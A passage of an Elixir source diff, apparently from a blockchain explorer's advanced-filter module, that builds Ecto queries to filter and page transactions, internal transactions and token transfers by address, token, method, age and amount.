|> Enum.empty?())) and + (tokens_to_include == [] or not (tokens_to_include |> Enum.reject(&(&1 == "native")) |> Enum.empty?())) do + [token_transfers_query(paging_options, options) | queries] + else + queries + end + end + + defp to_advanced_filter(%Transaction{} = transaction) do + %{value: decimal_transaction_value} = transaction.value + + %__MODULE__{ + hash: transaction.hash, + type: "coin_transfer", + input: transaction.input, + timestamp: transaction.block_timestamp, + from_address_hash: transaction.from_address_hash, + to_address_hash: transaction.to_address_hash, + created_contract_address_hash: transaction.created_contract_address_hash, + value: decimal_transaction_value, + fee: transaction |> Transaction.fee(:wei) |> elem(1), + block_number: transaction.block_number, + transaction_index: transaction.index + } + end + + defp to_advanced_filter(%InternalTransaction{} = internal_transaction) do + %{value: decimal_internal_transaction_value} = internal_transaction.value + + %__MODULE__{ + hash: internal_transaction.transaction.hash, + type: "coin_transfer", + input: internal_transaction.input, + timestamp: internal_transaction.transaction.block_timestamp, + from_address_hash: internal_transaction.from_address_hash, + to_address_hash: internal_transaction.to_address_hash, + created_contract_address_hash: internal_transaction.created_contract_address_hash, + value: decimal_internal_transaction_value, + fee: + internal_transaction.transaction.gas_price && internal_transaction.gas_used && + Decimal.mult(internal_transaction.transaction.gas_price.value, internal_transaction.gas_used), + block_number: internal_transaction.transaction.block_number, + transaction_index: internal_transaction.transaction.index, + internal_transaction_index: internal_transaction.index + } + end + + defp to_advanced_filter(%TokenTransfer{} = token_transfer) do + %__MODULE__{ + hash: token_transfer.transaction.hash, + type: token_transfer.token_type, + input: token_transfer.transaction.input, + timestamp: token_transfer.transaction.block_timestamp, + from_address_hash: token_transfer.from_address_hash, + to_address_hash: token_transfer.to_address_hash, + created_contract_address_hash: nil, + fee: token_transfer.transaction |> Transaction.fee(:wei) |> elem(1), + token_transfer: %TokenTransfer{ + token_transfer + | amounts: [token_transfer.amount], + token_ids: token_transfer.token_id && [token_transfer.token_id] + }, + block_number: token_transfer.block_number, + transaction_index: token_transfer.transaction.index, + token_transfer_index: token_transfer.log_index, + token_transfer_batch_index: token_transfer.reverse_index_in_batch + } + end + + defp sort_function(a, b) do + case { + Helper.compare(a.block_number, b.block_number), + Helper.compare(a.transaction_index, b.transaction_index), + Helper.compare(a.token_transfer_index, b.token_transfer_index), + Helper.compare(a.token_transfer_batch_index, b.token_transfer_batch_index), + Helper.compare(a.internal_transaction_index, b.internal_transaction_index) + } do + {:lt, _, _, _, _} -> + false + + {:eq, :lt, _, _, _} -> + false + + {:eq, :eq, _, _, _} -> + case {a.token_transfer_index, a.token_transfer_batch_index, a.internal_transaction_index, + b.token_transfer_index, b.token_transfer_batch_index, b.internal_transaction_index} do + {nil, _, nil, _, _, _} -> + true + + {a_tt_index, a_tt_batch_index, nil, b_tt_index, b_tt_batch_index, _} when not is_nil(b_tt_index) -> + {a_tt_index, a_tt_batch_index} > {b_tt_index, b_tt_batch_index} + + {nil, _, a_it_index, _, _, b_it_index} -> + a_it_index > b_it_index + + {_, _, _, _, _, _} -> + false + end + + _ -> + true + end + end + + defp take_page_size(list, %PagingOptions{page_size: page_size}) when is_integer(page_size) do + Enum.take(list, page_size) + end + + defp take_page_size(list, _), do: list + + defp transactions_query(paging_options, options) do + query = + if DenormalizationHelper.transactions_denormalization_finished?() do + from(transaction in Transaction, + as: :transaction, + where: transaction.block_consensus == true, + order_by: [ + desc: transaction.block_number, + desc: transaction.index + ] + ) + else + from(transaction in Transaction, + as: :transaction, + join: block in assoc(transaction, :block), + as: :block, + where: block.consensus == true, + order_by: [ + desc: transaction.block_number, + desc: transaction.index + ] + ) + end + + query + |> page_transactions(paging_options) + |> limit_query(paging_options) + |> apply_transactions_filters( + options, + fn query -> query |> order_by([transaction], desc: transaction.block_number, desc: transaction.index) end + ) + |> limit_query(paging_options) + end + + defp page_transactions(query, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index + } + }) do + dynamic_condition = + dynamic( + ^page_block_number_dynamic(:transaction, block_number) or + ^page_transaction_index_dynamic(block_number, transaction_index) + ) + + query |> where(^dynamic_condition) + end + + defp page_transactions(query, _), do: query + + defp internal_transactions_query(paging_options, options) do + query = + if DenormalizationHelper.transactions_denormalization_finished?() do + from(internal_transaction in InternalTransaction, + as: :internal_transaction, + join: transaction in assoc(internal_transaction, :transaction), + as: :transaction, + where: transaction.block_consensus == true, + where: + (internal_transaction.type == :call and internal_transaction.index > 0) or + internal_transaction.type != :call, + order_by: [ + desc: transaction.block_number, + desc: transaction.index, + desc: internal_transaction.index + ] + ) + else + from(internal_transaction in InternalTransaction, + as: :internal_transaction, + join: transaction in assoc(internal_transaction, :transaction), + as: :transaction, + join: block in assoc(internal_transaction, :block), + as: :block, + where: block.consensus == true, + where: + (internal_transaction.type == :call and internal_transaction.index > 0) or + internal_transaction.type != :call, + order_by: [ + desc: transaction.block_number, + desc: transaction.index, + desc: internal_transaction.index + ] + ) + end + + query + |> page_internal_transactions(paging_options) + |> limit_query(paging_options) + |> apply_transactions_filters(options, fn query -> + query + |> order_by([internal_transaction], + desc: internal_transaction.block_number, + desc: internal_transaction.transaction_index, + desc: internal_transaction.index + ) + end) + |> limit_query(paging_options) + |> preload([:transaction]) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: _transaction_index, + internal_transaction_index: nil + } + }) + when block_number < 0 do + query |> where(false) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: nil + } + }) + when block_number > 0 and transaction_index <= 0 do + query |> where(as(:transaction).block_number < ^block_number) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: 0, + transaction_index: 0, + internal_transaction_index: nil + } + }) do + query |> where(as(:transaction).block_number == 0 and as(:transaction).index == 0) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: 0, + transaction_index: transaction_index, + internal_transaction_index: nil + } + }) do + query + |> where(as(:transaction).block_number == 0 and as(:transaction).index <= ^transaction_index) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: nil + } + }) do + query + |> where( + as(:transaction).block_number < ^block_number or + (as(:transaction).block_number == ^block_number and as(:transaction).index <= ^transaction_index) + ) + end + + defp page_internal_transactions(query, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + internal_transaction_index: it_index + } + }) do + dynamic_condition = + dynamic( + ^page_block_number_dynamic(:transaction, block_number) or + ^page_transaction_index_dynamic(block_number, transaction_index) or + ^page_it_index_dynamic(block_number, transaction_index, it_index) + ) + + query + |> where(^dynamic_condition) + end + + defp page_internal_transactions(query, _), do: query + + defp token_transfers_query(paging_options, options) do + token_transfer_query = + if DenormalizationHelper.transactions_denormalization_finished?() do + from(token_transfer in TokenTransfer, + as: :token_transfer, + join: transaction in assoc(token_transfer, :transaction), + as: :transaction, + join: token in assoc(token_transfer, :token), + as: :token, + select: %TokenTransfer{ + token_transfer + | token_id: fragment("UNNEST(?)", token_transfer.token_ids), + amount: + fragment("UNNEST(COALESCE(?, ARRAY[COALESCE(?, 1)]))", token_transfer.amounts, token_transfer.amount), + reverse_index_in_batch: + fragment("GENERATE_SERIES(COALESCE(ARRAY_LENGTH(?, 1), 1), 1, -1)", token_transfer.amounts), + token_decimals: token.decimals + }, + where: transaction.block_consensus == true, + order_by: [ + desc: token_transfer.block_number, + desc: token_transfer.log_index + ] + ) + else + from(token_transfer in TokenTransfer, + as: :token_transfer, + join: transaction in assoc(token_transfer, :transaction), + as: :transaction, + join: token in assoc(token_transfer, :token), + as: :token, + join: block in assoc(token_transfer, :block), + as: :block, + select: %TokenTransfer{ + token_transfer + | token_id: fragment("UNNEST(?)", token_transfer.token_ids), + amount: + fragment("UNNEST(COALESCE(?, ARRAY[COALESCE(?, 1)]))", token_transfer.amounts, token_transfer.amount), + reverse_index_in_batch: + fragment("GENERATE_SERIES(COALESCE(ARRAY_LENGTH(?, 1), 1), 1, -1)", token_transfer.amounts), + token_decimals: token.decimals + }, + where: block.consensus == true, + order_by: [ + desc: token_transfer.block_number, + desc: token_transfer.log_index + ] + ) + end + + query_function = + (&make_token_transfer_query_unnested/2) + |> apply_token_transfers_filters(options) + |> page_token_transfers(paging_options) + + token_transfer_query + |> ExplorerHelper.maybe_hide_scam_addresses(:token_contract_address_hash, options) + |> limit_query(paging_options) + |> query_function.(false) + |> limit_query(paging_options) + |> preload([:transaction, [token: ^Reputation.reputation_association()]]) + |> select_merge([token_transfer], %{token_ids: [token_transfer.token_id], amounts: [token_transfer.amount]}) + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: _transaction_index, + token_transfer_index: nil, + internal_transaction_index: nil + } + }) + when block_number < 0 do + fn query, unnested? -> + query |> where(false) |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + token_transfer_index: nil, + internal_transaction_index: nil + } + }) + when block_number > 0 and transaction_index <= 0 do + fn query, unnested? -> + query |> where([token_transfer], token_transfer.block_number < ^block_number) |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: 0, + transaction_index: 0, + token_transfer_index: nil, + internal_transaction_index: nil + } + }) do + fn query, unnested? -> + query + |> where(as(:transaction).block_number == 0 and as(:transaction).index == 0) + |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: 0, + transaction_index: transaction_index, + token_transfer_index: nil, + internal_transaction_index: nil + } + }) do + fn query, unnested? -> + query + |> where( + [token_transfer], + token_transfer.block_number == 0 and as(:transaction).index < ^transaction_index + ) + |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + token_transfer_index: nil, + internal_transaction_index: nil + } + }) do + fn query, unnested? -> + query + |> where( + [token_transfer], + token_transfer.block_number < ^block_number or + (token_transfer.block_number == ^block_number and as(:transaction).index <= ^transaction_index) + ) + |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: block_number, + transaction_index: transaction_index, + token_transfer_index: nil + } + }) do + dynamic_condition = + dynamic( + ^page_block_number_dynamic(:token_transfer, block_number) or + ^page_transaction_index_dynamic(block_number, transaction_index) + ) + + fn query, unnested? -> + query |> where(^dynamic_condition) |> query_function.(unnested?) + end + end + + defp page_token_transfers(query_function, %PagingOptions{ + key: %{ + block_number: block_number, + token_transfer_index: tt_index, + token_transfer_batch_index: tt_batch_index + } + }) do + dynamic_condition = + dynamic( + ^page_block_number_dynamic(:token_transfer, block_number) or + ^page_tt_index_dynamic(:token_transfer, block_number, tt_index, tt_batch_index) + ) + + fn query, unnested? -> + query + |> where(^dynamic_condition) + |> query_function.(unnested?) + |> where( + ^page_tt_batch_index_dynamic( + block_number, + tt_index, + tt_batch_index + ) + ) + end + end + + defp page_token_transfers(query_function, _), do: query_function + + defp page_block_number_dynamic(binding, block_number) when block_number > 0 do + dynamic(as(^binding).block_number < ^block_number) + end + + defp page_block_number_dynamic(_, _) do + dynamic(false) + end + + defp page_transaction_index_dynamic(block_number, transaction_index) + when block_number >= 0 and transaction_index > 0 do + dynamic( + [transaction: transaction], + transaction.block_number == ^block_number and transaction.index < ^transaction_index + ) + end + + defp page_transaction_index_dynamic(_, _) do + dynamic(false) + end + + defp page_it_index_dynamic(block_number, transaction_index, it_index) + when block_number >= 0 and transaction_index >= 0 and it_index > 0 do + dynamic( + [transaction: transaction, internal_transaction: it], + transaction.block_number == ^block_number and transaction.index == ^transaction_index and + it.index < ^it_index + ) + end + + defp page_it_index_dynamic(_, _, _) do + dynamic(false) + end + + defp page_tt_index_dynamic(binding, block_number, tt_index, tt_batch_index) + when block_number >= 0 and tt_index > 0 and tt_batch_index > 1 do + dynamic(as(^binding).block_number == ^block_number and as(^binding).log_index <= ^tt_index) + end + + defp page_tt_index_dynamic(binding, block_number, tt_index, _tt_batch_index) + when block_number >= 0 and tt_index > 0 do + dynamic(as(^binding).block_number == ^block_number and as(^binding).log_index < ^tt_index) + end + + defp page_tt_index_dynamic(_, _, _, _) do + dynamic(false) + end + + defp page_tt_batch_index_dynamic(block_number, tt_index, tt_batch_index) + when block_number >= 0 and tt_index >= 0 and tt_batch_index > 1 do + dynamic( + [unnested_token_transfer: tt], + ^page_block_number_dynamic(:unnested_token_transfer, block_number) or + ^page_tt_index_dynamic( + :unnested_token_transfer, + block_number, + tt_index, + 0 + ) or + (tt.block_number == ^block_number and tt.log_index == ^tt_index and tt.reverse_index_in_batch < ^tt_batch_index) + ) + end + + defp page_tt_batch_index_dynamic(_, _, _) do + dynamic(true) + end + + defp limit_query(query, %PagingOptions{page_size: limit}) when is_integer(limit), do: limit(query, ^limit) + + defp limit_query(query, _), do: query + + defp apply_token_transfers_filters(query_function, options) do + query_function + |> filter_by_transaction_type(options[:transaction_types]) + |> filter_token_transfers_by_methods(options[:methods]) + |> filter_token_transfers_by_age(options) + |> filter_by_token(options[:token_contract_address_hashes]) + |> filter_token_transfers_by_addresses( + options[:from_address_hashes], + options[:to_address_hashes], + options[:address_relation] + ) + |> filter_token_transfers_by_amount(options[:amount][:from], options[:amount][:to]) + end + + defp apply_transactions_filters(query, options, order_by) do + query + |> filter_transactions_by_amount(options[:amount][:from], options[:amount][:to]) + |> filter_transactions_by_methods(options[:methods]) + |> only_collated_transactions() + |> filter_by_age(:transaction, options) + |> filter_transactions_by_addresses( + options[:from_address_hashes], + options[:to_address_hashes], + options[:address_relation], + order_by + ) + end + + defp only_collated_transactions(query) do + query |> where(not is_nil(as(:transaction).block_number) and not is_nil(as(:transaction).index)) + end + + defp filter_by_transaction_type(query_function, [_ | _] = transaction_types) do + if DenormalizationHelper.tt_denormalization_finished?() do + fn query, unnested? -> + query |> where([token_transfer], token_transfer.token_type in ^transaction_types) |> query_function.(unnested?) + end + else + fn query, unnested? -> + query |> where([token: token], token.type in ^transaction_types) |> query_function.(unnested?) + end + end + end + + defp filter_by_transaction_type(query_function, _), do: query_function + + defp filter_transactions_by_methods(query, [_ | _] = methods) do + prepared_methods = prepare_methods(methods) + + query |> where([t], fragment("substring(? FOR 4)", t.input) in ^prepared_methods) + end + + defp filter_transactions_by_methods(query, _), do: query + + defp filter_token_transfers_by_methods(query_function, [_ | _] = methods) do + prepared_methods = prepare_methods(methods) + + fn query, unnested? -> + query + |> where(fragment("substring(? FOR 4)", as(:transaction).input) in ^prepared_methods) + |> query_function.(unnested?) + end + end + + defp filter_token_transfers_by_methods(query_function, _), do: query_function + + defp prepare_methods(methods) do + methods + |> Enum.flat_map(fn + method -> + case Data.cast(method) do + {:ok, method} -> [method.bytes] + _ -> [] + end + end) + end + + defp filter_token_transfers_by_age(query_function, options) do + fn query, unnested? -> query |> filter_by_age(:token_transfer, options) |> query_function.(unnested?) end + end + + defp filter_by_age(query, entity, options) do + query + |> do_filter_by_age(options[:block_numbers_age][:from], options[:age][:from], entity, :from) + |> do_filter_by_age(options[:block_numbers_age][:to], options[:age][:to], entity, :to) + end + + defp do_filter_by_age(query, {:ok, block_number}, _timestamp, entity, direction) do + filter_by_block_number(query, block_number, entity, direction) + end + + defp do_filter_by_age(query, _block_number, timestamp, _entity, direction) do + filter_by_timestamp(query, timestamp, direction) + end + + defp filter_by_block_number(query, from, entity, :from) when not is_nil(from) do + query |> where(as(^entity).block_number >= ^from) + end + + defp filter_by_block_number(query, to, entity, :to) when not is_nil(to) do + query |> where(as(^entity).block_number <= ^to) + end + + defp filter_by_block_number(query, _, _, _), do: query + + defp filter_by_timestamp(query, %DateTime{} = from, :from) do + if DenormalizationHelper.transactions_denormalization_finished?() do + query |> where(as(:transaction).block_timestamp >= ^from) + else + query |> where(as(:block).timestamp >= ^from) + end + end + + defp filter_by_timestamp(query, %DateTime{} = to, :to) do + if DenormalizationHelper.transactions_denormalization_finished?() do + query |> where(as(:transaction).block_timestamp <= ^to) + else + query |> where(as(:block).timestamp <= ^to) + end + end + + defp filter_by_timestamp(query, _, _), do: query + + defp filter_token_transfers_by_addresses(query_function, from_addresses_params, to_addresses_params, relation) do + case {process_address_inclusion(from_addresses_params), process_address_inclusion(to_addresses_params)} do + {nil, nil} -> query_function + {from, nil} -> do_filter_token_transfers_by_address(query_function, from, :from_address_hash) + {nil, to} -> do_filter_token_transfers_by_address(query_function, to, :to_address_hash) + {from, to} -> do_filter_token_transfers_by_both_addresses(query_function, from, to, relation) + end + end + + defp do_filter_token_transfers_by_address(query_function, {:include, addresses}, field) do + fn query, _unnested? -> + queries = + addresses + |> Enum.map(fn address -> + query |> where([token_transfer], field(token_transfer, ^field) == ^address) |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_token_transfers_by_address(query_function, {:exclude, addresses}, field) do + fn query, unnested? -> + query |> where([t], field(t, ^field) not in ^addresses) |> query_function.(unnested?) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:include, from}, {:include, to}, relation) do + fn query, _unnested? -> + from_queries = + from + |> Enum.map(fn from_address -> + query |> where([token_transfer], token_transfer.from_address_hash == ^from_address) |> query_function.(true) + end) + + to_queries = + to + |> Enum.map(fn to_address -> + query |> where([token_transfer], token_transfer.to_address_hash == ^to_address) |> query_function.(true) + end) + + do_filter_token_transfers_by_both_addresses_to_include(from_queries, to_queries, relation) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:include, from}, {:exclude, to}, :and) do + fn query, _unnested? -> + from_queries = + from + |> Enum.map(fn from_address -> + query + |> where( + [token_transfer], + token_transfer.from_address_hash == ^from_address and token_transfer.to_address_hash not in ^to + ) + |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(from_queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:include, from}, {:exclude, to}, _relation) do + fn query, _unnested? -> + from_queries = + from + |> Enum.map(fn from_address -> + query + |> where( + [token_transfer], + token_transfer.from_address_hash == ^from_address or token_transfer.to_address_hash not in ^to + ) + |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(from_queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:exclude, from}, {:include, to}, :and) do + fn query, _unnested? -> + to_queries = + to + |> Enum.map(fn to_address -> + query + |> where( + [token_transfer], + token_transfer.to_address_hash == ^to_address and token_transfer.from_address_hash not in ^from + ) + |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(to_queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:exclude, from}, {:include, to}, _relation) do + fn query, _unnested? -> + to_queries = + to + |> Enum.map(fn to_address -> + query + |> where( + [token_transfer], + token_transfer.to_address_hash == ^to_address or token_transfer.from_address_hash not in ^from + ) + |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(to_queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:exclude, from}, {:exclude, to}, :and) do + fn query, unnested? -> + query + |> where([t], t.from_address_hash not in ^from and t.to_address_hash not in ^to) + |> query_function.(unnested?) + end + end + + defp do_filter_token_transfers_by_both_addresses(query_function, {:exclude, from}, {:exclude, to}, _relation) do + fn query, unnested? -> + query + |> where([t], t.from_address_hash not in ^from or t.to_address_hash not in ^to) + |> query_function.(unnested?) + end + end + + defp do_filter_token_transfers_by_both_addresses_to_include(from_queries, to_queries, relation) do + case relation do + :and -> + united_from_queries = + from_queries |> map_first(&subquery/1) |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + united_to_queries = + to_queries |> map_first(&subquery/1) |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(intersect_all(united_from_queries, ^united_to_queries)), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + + _ -> + union_query = + from_queries + |> Kernel.++(to_queries) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union(acc, ^query) end) + + from(token_transfer in subquery(union_query), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp filter_transactions_by_addresses(query, from_addresses, to_addresses, relation, order_by) do + order_by = fn query -> query |> exclude(:order_by) |> order_by.() end + + case {process_address_inclusion(from_addresses), process_address_inclusion(to_addresses)} do + {nil, nil} -> query + {from, nil} -> do_filter_transactions_by_address(query, from, :from_address_hash, order_by) + {nil, to} -> do_filter_transactions_by_address(query, to, :to_address_hash, order_by) + {from, to} -> do_filter_transactions_by_both_addresses(query, from, to, relation, order_by) + end + end + + defp do_filter_transactions_by_address(query, {:include, addresses}, field, order_by) do + queries = + addresses + |> Enum.map(fn address -> + query + |> where([transaction], field(transaction, ^field) == ^address) + |> order_by.() + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(queries)) + filtered_query |> order_by.() + end + + defp do_filter_transactions_by_address(query, {:exclude, addresses}, field, order_by) do + query + |> where([transaction], field(transaction, ^field) not in ^addresses) + |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:include, from}, {:include, to}, relation, order_by) do + from_queries = + from + |> Enum.map(fn from_address -> + query + |> where([transaction], transaction.from_address_hash == ^from_address) + |> order_by.() + end) + + to_queries = + to + |> Enum.map(fn to_address -> + query + |> where([transaction], transaction.to_address_hash == ^to_address) + |> order_by.() + end) + + do_filter_transactions_by_both_addresses_to_include(from_queries, to_queries, relation, order_by) + end + + defp do_filter_transactions_by_both_addresses(query, {:include, from}, {:exclude, to}, :and, order_by) do + from_queries = + from + |> Enum.map(fn from_address -> + query + |> where( + [transaction], + transaction.from_address_hash == ^from_address and transaction.to_address_hash not in ^to + ) + |> order_by.() + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(from_queries)) + filtered_query |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:include, from}, {:exclude, to}, _relation, order_by) do + from_queries = + from + |> Enum.map(fn from_address -> + query + |> where( + [transaction], + transaction.from_address_hash == ^from_address or transaction.to_address_hash not in ^to + ) + |> order_by.() + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(from_queries)) + filtered_query |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:exclude, from}, {:include, to}, :and, order_by) do + to_queries = + to + |> Enum.map(fn to_address -> + query + |> where( + [transaction], + transaction.to_address_hash == ^to_address and transaction.from_address_hash not in ^from + ) + |> order_by.() + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(to_queries)) + filtered_query |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:exclude, from}, {:include, to}, _relation, order_by) do + to_queries = + to + |> Enum.map(fn to_address -> + query + |> where( + [transaction], + transaction.to_address_hash == ^to_address or transaction.from_address_hash not in ^from + ) + |> order_by.() + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(to_queries)) + filtered_query |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:exclude, from}, {:exclude, to}, :and, order_by) do + query + |> where( + [transaction], + transaction.from_address_hash not in ^from and transaction.to_address_hash not in ^to + ) + |> order_by.() + end + + defp do_filter_transactions_by_both_addresses(query, {:exclude, from}, {:exclude, to}, _relation, order_by) do + query + |> where( + [transaction], + transaction.from_address_hash not in ^from or transaction.to_address_hash not in ^to + ) + |> order_by.() + end + + defp do_filter_transactions_by_both_addresses_to_include(from_queries, to_queries, relation, order_by) do + case relation do + :and -> + united_from_queries = + from_queries |> map_first(&subquery/1) |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + united_to_queries = + to_queries |> map_first(&subquery/1) |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + filtered_query = from(transaction in subquery(intersect_all(united_from_queries, ^united_to_queries))) + + filtered_query + |> order_by.() + + _ -> + union_query = + from_queries + |> Kernel.++(to_queries) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union(acc, ^query) end) + + filtered_query = from(transaction in subquery(union_query)) + filtered_query |> order_by.() + end + end + + @eth_decimals 1_000_000_000_000_000_000 + + defp filter_transactions_by_amount(query, from, to) when not is_nil(from) and not is_nil(to) do + if Decimal.positive?(to) and Decimal.lt?(from, to) do + query |> where([t], t.value / @eth_decimals >= ^from and t.value / @eth_decimals <= ^to) + else + query |> where(false) + end + end + + defp filter_transactions_by_amount(query, _from, to) when not is_nil(to) do + if Decimal.positive?(to) do + query |> where([t], t.value / @eth_decimals <= ^to) + else + query |> where(false) + end + end + + defp filter_transactions_by_amount(query, from, _to) when not is_nil(from) do + if Decimal.positive?(from) do + query |> where([t], t.value / @eth_decimals >= ^from) + else + query + end + end + + defp filter_transactions_by_amount(query, _, _), do: query + + defp filter_token_transfers_by_amount(query_function, from, to) do + fn query, unnested? -> + query + |> filter_token_transfers_by_amount_before_subquery(from, to) + |> query_function.(unnested?) + |> filter_token_transfers_by_amount_after_subquery(from, to) + end + end + + defp filter_token_transfers_by_amount_before_subquery(query, from, to) + when not is_nil(from) and not is_nil(to) and from < to do + if Decimal.positive?(to) and Decimal.lt?(from, to) do + query + |> where( + [tt, token: token], + ^to * fragment("10 ^ COALESCE(?, 0)", token.decimals) >= + fragment("ANY(COALESCE(?, ARRAY[COALESCE(?, 1)]))", tt.amounts, tt.amount) and + ^from * fragment("10 ^ COALESCE(?, 0)", token.decimals) <= + fragment("ANY(COALESCE(?, ARRAY[COALESCE(?, 1)]))", tt.amounts, tt.amount) + ) + else + query |> where(false) + end + end + + defp filter_token_transfers_by_amount_before_subquery(query, _from, to) when not is_nil(to) do + if Decimal.positive?(to) do + query + |> where( + [tt, token: token], + ^to * fragment("10 ^ COALESCE(?, 0)", token.decimals) >= + fragment("ANY(COALESCE(?, ARRAY[COALESCE(?, 1)]))", tt.amounts, tt.amount) + ) + else + query |> where(false) + end + end + + defp filter_token_transfers_by_amount_before_subquery(query, from, _to) when not is_nil(from) do + if Decimal.positive?(from) do + query + |> where( + [tt, token: token], + ^from * fragment("10 ^ COALESCE(?, 0)", token.decimals) <= + fragment("ANY(COALESCE(?, ARRAY[COALESCE(?, 1)]))", tt.amounts, tt.amount) + ) + else + query + end + end + + defp filter_token_transfers_by_amount_before_subquery(query, _, _), do: query + + defp filter_token_transfers_by_amount_after_subquery(unnested_query, from, to) + when not is_nil(from) and not is_nil(to) and from < to do + if Decimal.positive?(to) and Decimal.lt?(from, to) do + unnested_query + |> where( + [unnested_token_transfer: tt], + tt.amount / fragment("10 ^ COALESCE(?, 0)", tt.token_decimals) >= ^from and + tt.amount / fragment("10 ^ COALESCE(?, 0)", tt.token_decimals) <= ^to + ) + else + unnested_query |> where(false) + end + end + + defp filter_token_transfers_by_amount_after_subquery(unnested_query, _from, to) when not is_nil(to) do + if Decimal.positive?(to) do + unnested_query + |> where( + [unnested_token_transfer: tt], + tt.amount / fragment("10 ^ COALESCE(?, 0)", tt.token_decimals) <= ^to + ) + else + unnested_query |> where(false) + end + end + + defp filter_token_transfers_by_amount_after_subquery(unnested_query, from, _to) when not is_nil(from) do + if Decimal.positive?(from) do + unnested_query + |> where( + [unnested_token_transfer: tt], + tt.amount / fragment("10 ^ COALESCE(?, 0)", tt.token_decimals) >= ^from + ) + else + unnested_query + end + end + + defp filter_token_transfers_by_amount_after_subquery(query, _, _), do: query + + defp make_token_transfer_query_unnested(query, false) do + with_named_binding(query, :unnested_token_transfer, fn query, binding -> + from(token_transfer in subquery(query), + as: ^binding + ) + end) + end + + defp make_token_transfer_query_unnested(query, _), do: query + + defp filter_by_token(query_function, token_contract_address_hashes) when is_list(token_contract_address_hashes) do + case process_address_inclusion(token_contract_address_hashes) do + nil -> + query_function + + {include_or_exclude, token_contract_address_hashes} -> + filtered = token_contract_address_hashes |> Enum.reject(&(&1 == "native")) + + if Enum.empty?(filtered) do + query_function + else + do_filter_by_token(query_function, {include_or_exclude, filtered}) + end + end + end + + defp filter_by_token(query_function, _), do: query_function + + defp do_filter_by_token(query_function, {:include, token_contract_address_hashes}) do + fn query, _unnested? -> + queries = + token_contract_address_hashes + |> Enum.map(fn address -> + query + |> where([token_transfer], token_transfer.token_contract_address_hash == ^address) + |> query_function.(true) + end) + |> map_first(&subquery/1) + |> Enum.reduce(fn query, acc -> union_all(acc, ^query) end) + + from(token_transfer in subquery(queries), + as: :unnested_token_transfer, + order_by: [desc: token_transfer.block_number, desc: token_transfer.log_index] + ) + end + end + + defp do_filter_by_token(query_function, {:exclude, token_contract_address_hashes}) do + fn query, unnested? -> + query_function.( + from(token_transfer in query, + left_join: to_exclude 